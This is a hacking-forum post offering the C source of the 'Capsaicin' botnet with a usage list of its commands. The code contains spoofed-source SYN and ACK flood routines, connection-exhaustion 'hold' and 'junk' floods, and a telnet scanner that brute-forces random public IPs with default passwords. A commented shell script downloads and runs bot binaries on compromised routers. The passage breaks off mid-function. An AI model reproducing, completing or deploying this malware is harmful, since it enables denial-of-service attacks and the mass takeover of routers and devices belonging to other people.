Capsaicin botnet [6 L4 ATTACKS] [Telnet Scanner] [Router botnet] 01-05-2016, 05:37 AM
#1
Enjoy
[hide]
[/hide]
DDoS Commands:
.synflood <host> <port> <time>
.ngsynflood <host> <port> <time>
.ackflood <host> <port> <time>
.ngackflood <host> <port> <time>
.holdflood <host> <port> <time> (Sometimes takes longer to finish)
.junkflood <host> <port> <time> (Sometimes takes longer to finish)
Scanner Commands:
.scan_start - Starts telnet scanner
.scan_stop - Stops telnet scanner
Misc Commands:
.exit - Exits the bot
[hide]
Code:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <string.h>
#include <stdarg.h>
#include <assert.h>
#include <stdbool.h>
#include <signal.h>
#define PAD_RIGHT 1
#define PAD_ZERO 2
#define PRINT_BUF_LEN 12
#define CMD_IAC 255
#define CMD_WILL 251
#define CMD_WONT 252
#define CMD_DO 253
#define CMD_DONT 254
#define OPT_SGA 3
/*
Capsaicin botnet, based on lizard irc bot and lightaidra. Creds to them for some of the source.
DDoS Commands:
.synflood <host> <port> <time>
.ngsynflood <host> <port> <time>
.ackflood <host> <port> <time>
.ngackflood <host> <port> <time>
.holdflood <host> <port> <time> (Sometimes takes longer to finish)
.junkflood <host> <port> <time> (Sometimes takes longer to finish)
Scanner Commands:
.scan_start - Starts telnet scanner
.scan_stop - Stops telnet scanner
Misc Commands:
.exit - Exits the bot
*/
/*
GEBINARIES.SH EXAMPLE
#!/bin/sh
# THIS SCRIPT DOWNLOAD THE BINARIES INTO ROUTER.
# UPLOAD GETBINARIES.SH IN YOUR HTTPD.
#
# LEGAL DISCLAIMER: It is the end user's responsibility to obey
# all applicable local, state and federal laws. Developers assume
# no liability and are not responsible for any misuse or damage
# caused by this program.
# YOUR HTTPD SERVER:
REFERENCE_HTTP="http://127.0.0.1"
# NAME OF BINARIES:
REFERENCE_MIPSEL="mipsel"
REFERENCE_MIPS="mips"
REFERENCE_SUPERH="sh"
REFERENCE_ARM="arm"
REFERENCE_PPC="ppc"
rm -fr /var/run/${REFERENCE_MIPSEL} \
/var/run/${REFERENCE_MIPS} \
/var/run/${REFERENCE_SUPERH} \
/var/run/${REFERENCE_ARM} \
/var/run/${REFERENCE_PPC}
wget -c ${REFERENCE_HTTP}/${REFERENCE_MIPSEL} -P /var/run && chmod +x /var/run/${REFERENCE_MIPSEL} && /var/run/${REFERENCE_MIPSEL}
wget -c ${REFERENCE_HTTP}/${REFERENCE_MIPS} -P /var/run && chmod +x /var/run/${REFERENCE_MIPS} && /var/run/${REFERENCE_MIPS}
wget -c ${REFERENCE_HTTP}/${REFERENCE_ARM} -P /var/run && chmod +x /var/run/${REFERENCE_ARM} && /var/run/${REFERENCE_ARM}
wget -c ${REFERENCE_HTTP}/${REFERENCE_PPC} -P /var/run && chmod +x /var/run/${REFERENCE_PPC} && /var/run/${REFERENCE_PPC}
wget -c ${REFERENCE_HTTP}/${REFERENCE_SUPERH} -P /var/run && chmod +x /var/run/${REFERENCE_SUPERH} && /var/run/${REFERENCE_SUPERH}
sleep 3;
rm -fr /var/run/getbinaries.sh
*/
//CONFIG
char *host = "127.0.0.1";
char *port = "8085";
char getbinariesURL[] = "http://127.0.0.1/getbinaries.sh"; //URL of your servers getbinaries.sh
//Telnet brute force usernames and passwords
char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0"};
char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0"};
int conn;
char sbuf[512];
unsigned long srchost;
unsigned int dsthost;
unsigned short uport;
unsigned int useconds;
struct send_tcp {
struct iphdr ip;
struct tcphdr tcp;
char buf[20];
};
struct pseudo_header {
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
char buf[20];
};
//DEFINES
void daemonize();
unsigned int host2ip(char *hostname);
unsigned int get_spoofed();
unsigned short in_cksum(unsigned short *ptr, int nbytes);
void synflood(unsigned int dest_addr, unsigned short dest_port, int ntime);
void ngsynflood(unsigned int dest_addr, unsigned short dest_port, int ntime);
void ackflood(unsigned int dest_addr, unsigned short dest_port, int ntime);
void ngackflood(unsigned int dest_addr, unsigned short dest_port, int ntime);
void* StartTheLelz(int sockfd);
in_addr_t getRandomPublicIP();
int szprintf(unsigned char *out, const unsigned char *format, ...);
int sclose(int fd);
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex);
int print(unsigned char **out, const unsigned char *format, va_list args );
int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase);
int matchPrompt(char *bufStr);
int negotiate(int sock, unsigned char *buf, int len);
int prints(unsigned char **out, const unsigned char *string, int width, int pad);
void printchar(unsigned char **str, int c);
char** str_split(char* a_str, const char a_delim);
bool prefix(const char *pre, const char *str);
void Raw(char *data, int sockfd);
void sendHOLD(unsigned char *ip, int port, int end_time);
void sendJUNK(unsigned char *ip, int port, int end_time);
int getHost(unsigned char *toGet, struct in_addr *i);
void makeRandomStr(unsigned char *buf, int length);
uint32_t rand_cmwc(void);
static uint8_t ipState[5] = {0}; //starting from 1 becuz yolo
static uint32_t Q[4096], c = 362436;
int main() {
daemonize();
pthread_t scanner;
char *cmd[1024];
char *cmdoutput[1024];
int i;
int sockfd, portno, n;
struct sockaddr_in serveraddr;
struct hostent *server;
char *hostname;
char buf[1024];
hostname = host;
portno = atoi(port);
/* socket: create the socket */
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
/* gethostbyname: get the server's DNS entry */
server = gethostbyname(hostname);
if (server == NULL) {
fprintf(stderr,"ERROR, no such host as %s\n", hostname);
exit(0);
}
/* build the server's Internet address */
bzero((char *) &serveraddr, sizeof(serveraddr));
serveraddr.sin_family = AF_INET;
bcopy((char *)server->h_addr,
(char *)&serveraddr.sin_addr.s_addr, server->h_length);
serveraddr.sin_port = htons(portno);
/* connect: create a connection with the server */
if (connect(sockfd, &serveraddr, sizeof(serveraddr)) < 0)
error("ERROR connecting");
/* synflood(), ngsynflood(), ackflood(), ngackflood() */
/* these functions are adapted from ktx.c */
while(true) {
/* print the server's reply */
bzero(buf, 1024);
n = read(sockfd, buf, 1024);
if (n < 0)
error("ERROR reading from socket");
printf("Echo from server: %s", buf);
char** tokens;
tokens = str_split(buf, ' ');
if (strncmp(buf,".synflood",9)==0) {
Raw("[nsynflood] Starting SYN flood!\r\n", sockfd);
printf("[nsynflood] Starting SYN flood!\r\n");
ngsynflood(host2ip(tokens[1]), atoi(tokens[2]), atoi(tokens[3]));
Raw("[nsynflood] SYN flood finished!\r\n", sockfd);
printf("[nsynflood] SYN flood finished!\r\n");
} else if (strncmp(buf,".ngsynflood",11)==0) {
Raw("[ngsynflood] Starting new generation SYN flood!\r\n", sockfd);
printf("[ngsynflood] Starting new generation SYN flood!\r\n");
ngsynflood(host2ip(tokens[1]), atoi(tokens[2]), atoi(tokens[3]));
Raw("[ngsynflood] New generation SYN flood finished!\r\n", sockfd);
printf("[ngsynflood] New generation SYN flood finished!\r\n");
} else if (strncmp(buf,".ackflood",9)==0) {
Raw("[ackflood] Starting ACK flood!\r\n", sockfd);
printf("[ngsynflood] Starting ACK flood!\r\n");
ackflood(host2ip(tokens[1]), atoi(tokens[2]), atoi(tokens[3]));
Raw("[ackflood] ACK flood finished!\r\n", sockfd);
printf("[ackflood] ACK flood finished!\r\n");
} else if (strncmp(buf,".ngackflood",11)==0) {
Raw("[ngackflood] Starting new generation ACK flood!\r\n", sockfd);
printf("[ngackflood] Starting new generation ACK flood!\r\n");
ngackflood(host2ip(tokens[1]), atoi(tokens[2]), atoi(tokens[3]));
Raw("[ngackflood] New generation ACK flood finished!\r\n", sockfd);
printf("[ngackflood] New generation ACK flood finished!\r\n");
} else if (strncmp(buf,".holdflood",10)==0) {
Raw("[holdflood] Starting hold flood!\r\n", sockfd);
printf("[holdflood] Starting hold flood!\r\n");
sendHOLD(host2ip(tokens[1]), atoi(tokens[2]), atoi(tokens[3]));
Raw("[holdflood] Hold flood finished!\r\n", sockfd);
printf("[holdflood] Hold flood finished!\r\n");
} else if (strncmp(buf,".junkflood",10)==0) {
Raw("[JUNKflood] Starting JUNK flood!\r\n", sockfd);
printf("[JUNKflood] Starting JUNK flood!\r\n");
sendJUNK(host2ip(tokens[1]), atoi(tokens[2]), atoi(tokens[3]));
Raw("[JUNKflood] JUNK flood finished!\r\n", sockfd);
printf("[JUNKflood] JUNK flood finished!\r\n");
} else if (strncmp(buf,".scan_start",11)==0) {
printf("[Telnet Scanner] Starting the scanner...\r\n");
Raw("[Telnet Scanner] Starting the scanner...\r\n", sockfd);
pthread_create(&scanner, NULL, StartTheLelz, (void *)&sockfd);
//pthread_join(scanner, NULL);
} else if (strncmp(buf,".scan_stop",10)==0) {
printf("[Telnet Scanner] Stopping the scanner...\r\n");
Raw("[Telnet Scanner] Stopping the scanner...\r\n", sockfd);
pthread_cancel(scanner);
} else if (strncmp(buf,".exit",5)==0) {
exit(0);
}
}
return 0;
}
void Raw(char *data, int sockfd) {
/* send the message line to the server */
int n;
n = write(sockfd, data, strlen(data));
if (n < 0)
error("ERROR writing to socket");
}
/* daemonize(void) */
/* set jekel in background mode. */
void daemonize() {
int daemonize_pid = fork();
if (daemonize_pid) exit(EXIT_SUCCESS);
}
unsigned int host2ip(char *hostname) {
static struct in_addr i;
struct hostent *h;
i.s_addr = inet_addr((const char *)hostname);
if (i.s_addr == -1) {
h = gethostbyname(hostname);
if (h == NULL) exit(0);
bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
}
return i.s_addr;
}
unsigned int get_spoofed() {
char spa[21];
int a, b, c, d;
srand(time(0));
int random_ct = rand();
int random_num = ((random_ct % 254) + 1);
a = random_num;
random_ct = rand();
random_num = ((random_ct % 254) + 1);
b = random_num;
random_ct = rand();
random_num = ((random_ct % 254) + 1);
c = random_num;
random_ct = rand();
random_num = ((random_ct % 254) + 1);
d = random_num;
snprintf(spa, sizeof(spa), "%d.%d.%d.%d", a, b, c, d);
return ((unsigned int)host2ip(spa));
}
unsigned short in_cksum(unsigned short *ptr, int nbytes) {
register long sum;
u_short oddbyte;
register u_short answer;
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((u_char *) & oddbyte) = *(u_char *) ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
/* synflood(), ngsynflood(), ackflood(), ngackflood() */
/* these functions are adapted from ktx.c */
void synflood(unsigned int dest_addr, unsigned short dest_port, int ntime) {
int get;
struct send_tcp send_tcp;
struct pseudo_header pseudo_header;
struct sockaddr_in sin;
unsigned int syn[20] = { 2, 4, 5, 180, 4, 2, 8, 10, 0, 0, 0, 0, 0, 0, 0, 0, 1, 3, 3, 0 }, a = 0;
unsigned int psize = 20, source, dest, check;
unsigned long saddr, daddr, secs;
time_t start = time(NULL);
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
return; {
int i;
for (i = 0; i < 20; i++) {
send_tcp.buf[i] = (u_char) syn[i];
}
}
daddr = dest_addr;
secs = ntime;
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64;
send_tcp.ip.ttl = 64;
send_tcp.ip.protocol = 6;
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.doff = 10;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.rst = 0;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.window = 30845;
send_tcp.tcp.urg_ptr = 0;
dest = htons(dest_port);
while (1) {
source = rand();
if (dest_port == 0) dest = rand();
if (srchost == 0) saddr = get_spoofed();
else saddr = srchost;
send_tcp.ip.tot_len = htons(40 + psize);
send_tcp.ip.id = rand();
send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr;
send_tcp.ip.check = 0;
send_tcp.tcp.source = source;
send_tcp.tcp.dest = dest;
send_tcp.tcp.seq = rand();
send_tcp.tcp.check = 0;
sin.sin_family = AF_INET;
sin.sin_port = dest;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
check = rand();
send_tcp.buf[9] = ((char *)&check)[0];
send_tcp.buf[10] = ((char *)&check)[1];
send_tcp.buf[11] = ((char *)&check)[2];
send_tcp.buf[12] = ((char *)&check)[3];
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20 + psize);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32 + psize);
sendto(get, &send_tcp, 40 + psize, 0, (struct sockaddr *)&sin, sizeof(sin));
if (a >= 50) {
if (time(NULL) >= start + secs) {
return;
}
a = 0;
}
a++;
}
close(get);
return;
}
void ngsynflood(unsigned int dest_addr, unsigned short dest_port, int ntime) {
int get;
struct send_tcp send_tcp;
struct pseudo_header pseudo_header;
struct sockaddr_in sin;
unsigned int syn[20] = { 2, 4, 5, 180, 4, 2, 8, 10, 0, 0, 0, 0, 0, 0, 0, 0, 1, 3, 3, 0 }, a = 0;
unsigned int psize = 20, source, dest, check;
unsigned long saddr, daddr, secs;
time_t start = time(NULL);
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
return; {
int i;
for (i = 0; i < 20; i++) {
send_tcp.buf[i] = (u_char) syn[i];
}
}
daddr = dest_addr;
secs = ntime;
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64;
send_tcp.ip.ttl = 64;
send_tcp.ip.protocol = 6;
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.doff = 10;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.rst = 0;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.window = 30845;
send_tcp.tcp.urg_ptr = 0;
dest = htons(dest_port);
while (1) {
source = rand();
if (dest_port == 0) dest = rand();
if (srchost == 0) saddr = get_spoofed();
else saddr = srchost;
send_tcp.ip.tot_len = htons(40 + psize);
send_tcp.ip.id = rand();
send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr;
send_tcp.ip.check = 0;
send_tcp.tcp.source = source;
send_tcp.tcp.dest = dest;
send_tcp.tcp.seq = rand();
send_tcp.tcp.check = 0;
sin.sin_family = AF_INET;
sin.sin_port = dest;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
check = rand();
send_tcp.buf[9] = ((char *)&check)[0];
send_tcp.buf[10] = ((char *)&check)[1];
send_tcp.buf[11] = ((char *)&check)[2];
send_tcp.buf[12] = ((char *)&check)[3];
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20 + psize);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32 + psize);
sendto(get, &send_tcp, 40 + psize, 0, (struct sockaddr *)&sin, sizeof(sin));
if (a >= 50) {
if (time(NULL) >= start + secs) {
close(get);
return;
}
a = 0;
}
a++;
}
close(get);
return;
}
void ackflood(unsigned int dest_addr, unsigned short dest_port, int ntime) {
int get;
struct send_tcp send_tcp;
struct pseudo_header pseudo_header;
struct sockaddr_in sin;
unsigned int syn[20] = { 2, 4, 5, 180, 4, 2, 8, 10, 0, 0, 0, 0, 0, 0, 0, 0, 1, 3, 3, 0 }, a = 0;
unsigned int psize = 20, source, dest, check;
unsigned long saddr, daddr, secs;
time_t start = time(NULL);
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
return; {
int i;
for (i = 0; i < 20; i++)
send_tcp.buf[i] = (u_char) syn[i];
}
daddr = dest_addr;
secs = ntime;
dest = htons(dest_port);
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64;
send_tcp.ip.ttl = 255;
send_tcp.ip.protocol = 6;
send_tcp.tcp.doff = 5;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.ack = 1;
send_tcp.tcp.psh = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 0;
send_tcp.tcp.window = 30845;
send_tcp.tcp.urg_ptr = 0;
while (1) {
if (dest_port == 0) dest = rand();
if (srchost == 0) saddr = get_spoofed();
else saddr = srchost;
send_tcp.ip.tot_len = htons(40 + psize);
send_tcp.ip.id = rand();
send_tcp.ip.check = 0;
send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr;
send_tcp.tcp.source = rand();
send_tcp.tcp.dest = dest;
send_tcp.tcp.seq = rand();
send_tcp.tcp.ack_seq = rand();
send_tcp.tcp.check = 0;
sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.dest;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
check = in_cksum((unsigned short *)&send_tcp, 40);
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20 + psize);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32 + psize);
sendto(get, &send_tcp, 40 + psize, 0, (struct sockaddr *)&sin, sizeof(sin));
if (a >= 50) {
if (time(NULL) >= start + secs) {
close(get);
return;
}
a = 0;
}
a++;
}
close(get);
return;
}
void ngackflood(unsigned int dest_addr, unsigned short dest_port, int ntime) {
int get;
struct send_tcp send_tcp;
struct pseudo_header pseudo_header;
struct sockaddr_in sin;
unsigned int syn[20] = { 2, 4, 5, 180, 4, 2, 8, 10, 0, 0, 0, 0, 0, 0, 0, 0, 1, 3, 3, 0 }, a = 0;
unsigned int psize = 20, source, dest, check;
unsigned long saddr, daddr, secs;
time_t start = time(NULL);
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
return; {
int i;
for (i = 0; i < 20; i++) {
send_tcp.buf[i] = (u_char) syn[i];
}
}
daddr = dest_addr;
secs = ntime;
dest = htons(dest_port);
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64;
send_tcp.ip.ttl = 255;
send_tcp.ip.protocol = 6;
send_tcp.tcp.doff = 5;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.ack = 1;
send_tcp.tcp.psh = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 0;
send_tcp.tcp.window = 30845;
send_tcp.tcp.urg_ptr = 0;
while (1) {
if (dest_port == 0) dest = rand();
if (srchost == 0) saddr = get_spoofed();
else saddr = srchost;
send_tcp.ip.tot_len = htons(40 + psize);
send_tcp.ip.id = rand();
send_tcp.ip.check = 0;
send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr;
send_tcp.tcp.source = rand();
send_tcp.tcp.dest = dest;
send_tcp.tcp.seq = rand();
send_tcp.tcp.ack_seq = rand();
send_tcp.tcp.check = 0;
sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.dest;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
check = in_cksum((unsigned short *)&send_tcp, 40);
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20 + psize);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32 + psize);
sendto(get, &send_tcp, 40 + psize, 0, (struct sockaddr *)&sin, sizeof(sin));
if (a >= 50) {
if (time(NULL) >= start + secs) {
close(get);
return;
}
a = 0;
}
a++;
}
close(get);
return;
}
void sendHOLD(unsigned char *ip, int port, int end_time)
{
int max = getdtablesize() / 2, i;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if(getHost(ip, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
struct state_t
{
int fd;
uint8_t state;
} fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt, res;
unsigned char *watwat = malloc(1024);
memset(watwat, 0, 1024);
int end = time(NULL) + end_time;
while(end > time(NULL))
{
for(i = 0; i < max; i++)
{
switch(fds[i].state)
{
case 0:
{
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
else fds[i].state = 1;
}
break;
case 1:
{
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
if(res == 1)
{
lon = sizeof(int);
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt)
{
close(fds[i].fd);
fds[i].state = 0;
} else {
fds[i].state = 2;
}
} else if(res == -1)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
case 2:
{
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
if(res != 0)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
}
}
}
}
void sendJUNK(unsigned char *ip, int port, int end_time)
{
pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS,NULL);
int max = getdtablesize() / 2, i;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if(getHost(ip, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
struct state_t
{
int fd;
uint8_t state;
} fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt, res;
unsigned char *watwat = malloc(1024);
memset(watwat, 0, 1024);
int end = time(NULL) + end_time;
while(end > time(NULL))
{
for(i = 0; i < max; i++)
{
switch(fds[i].state)
{
case 0:
{
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
else fds[i].state = 1;
}
break;
case 1:
{
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
if(res == 1)
{
lon = sizeof(int);
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt)
{
close(fds[i].fd);
fds[i].state = 0;
} else {
fds[i].state = 2;
}
} else if(res == -1)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
case 2:
{
//nonblocking sweg
makeRandomStr(watwat, 1024);
if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
}
}
}
}
void* StartTheLelz(int sockfd)
{
int max = (getdtablesize() / 4) * 3, i, res;
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt;
max = max > 512 ? 512 : max;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(23);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
struct telstate_t
{
int fd;
uint32_t ip;
uint8_t state;
uint8_t complete;
uint8_t usernameInd;
uint8_t passwordInd;
uint32_t totalTimeout;
uint16_t bufUsed;
char *sockbuf;
} fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
while(1)
{
for(i = 0; i < max; i++)
{
switch(fds[i].state)
{
case 0:
{
memset(fds[i].sockbuf, 0, 1024);
if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
else {
fds[i].passwordInd++;
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
}
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(23);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
dest_addr.sin_addr.s_addr = fds[i].ip;
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
if(fds[i].fd == -1) { continue; }
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
else { fds[i].state = 1; fds[i].totalTimeout = 0; }
}
break;
case 1:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
if(res == 1)
{
lon = sizeof(int);
valopt = 0;
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt)
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
} else {
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
memset(fds[i].sockbuf, 0, 1024);
fds[i].state = 2;
continue;
}
} else if(res == -1)
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
if(fds[i].totalTimeout + 10 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 2:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
memset(fds[i].sockbuf, 0, 1024);
fds[i].state = 3;
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 3:
{
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 4;
}
break;
case 4:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
else fds[i].state = 100;
memset(fds[i].sockbuf, 0, 1024);
continue;
} else {
